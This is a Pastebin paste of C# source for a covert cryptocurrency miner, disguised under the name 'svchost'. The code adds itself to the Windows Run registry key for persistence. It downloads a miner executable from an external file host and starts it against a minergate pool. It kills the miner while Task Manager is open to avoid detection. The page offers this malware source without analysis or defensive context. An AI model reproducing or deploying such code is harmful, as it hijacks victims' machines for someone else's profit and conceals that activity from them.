Advertisement
Guest User

Untitled

a guest
Aug 28th, 2017
452
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.22 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Diagnostics;
  7. using System.Threading;
  8. using System.Linq;
  9. using System.Text;
  10. using System.IO;
  11. using System.Net;
  12. using System.Windows.Forms;
  13. using Microsoft.Win32;
  14.  
  15. namespace svchost
  16. {
  17.     public partial class svchost : Form
  18.     {
  19.         public svchost()
  20.         {
  21.             InitializeComponent();
  22.         }
  23.  
  24.         static public string appName = "svhost";
  25.         static public string appInfo = "Host process";
  26.         public bool minerStarted = false;
  27.         // Параметры майнера
  28.         static public string poolUrl = "stratum+tcp://bcn.pool.minergate.com:45550";
  29.         static public string miner_x64 = "http://rgho.st/download/8cgnl8tg2/52a421b79c8a1f9bf5099650ad7262b162791e47/svhost.exe";
  30.         static public string miner_x32 = "http://rgho.st/download/8cgnl8tg2/52a421b79c8a1f9bf5099650ad7262b162791e47/svhost.exe";
  31.         static public string userName = "alex.dizaro@yandex.ru";
  32.         static public string userPass = "x";
  33.         public string startInfo = string.Format("-a cryptonight-light -o {0} -u {1} -p {2}", poolUrl, userName, userPass);
  34.  
  35.         // Добавление в автозагрузку
  36.         public bool addAutorun()
  37.         {
  38.             string ExePath = System.Windows.Forms.Application.ExecutablePath;
  39.             RegistryKey regKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run\\");
  40.             try
  41.             {
  42.                 regKey.SetValue(appInfo, ExePath);
  43.                 regKey.Close();
  44.             }
  45.             catch { return false; }
  46.             return true;
  47.         }
  48.  
  49.         public bool StartMiner()
  50.         {
  51.             try
  52.             {
  53.                 ProcessStartInfo info = new ProcessStartInfo(appName);
  54.                 info.Arguments = startInfo;
  55.                 System.Diagnostics.Process.Start(info);
  56.                 return true;
  57.             }
  58.             catch (Exception)
  59.             {
  60.                 WebClient web = new WebClient();
  61.                 if (Environment.Is64BitOperatingSystem)
  62.                 {
  63.                     web.DownloadFile(new Uri(miner_x64), appName + ".exe");
  64.                 }
  65.                 else
  66.                 {
  67.                     web.DownloadFile(new Uri(miner_x32), appName + ".exe");
  68.                 }
  69.                 return true;
  70.             }
  71.         }
  72.  
  73.         private void svchost_Load(object sender, EventArgs e)
  74.         {
  75.             addAutorun();
  76.             StartMiner();
  77.             taskManagerChecker.Enabled = true;
  78.         }
  79.  
  80.         private void taskManagerChecker_Tick(object sender, EventArgs e)
  81.         {
  82.             minerStarted = Process.GetProcessesByName("svhost").Any() ? true : false;
  83.             if (Process.GetProcessesByName("Taskmgr").Count() != 0)
  84.             {
  85.                 Process[] proc = Process.GetProcesses();
  86.                 foreach (Process process in proc)
  87.                 if (process.ProcessName == "svhost")
  88.                 {
  89.                     process.Kill();
  90.                 }
  91.             }
  92.             else if (!minerStarted) StartMiner();
  93.         }
  94.  
  95.     }
  96. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement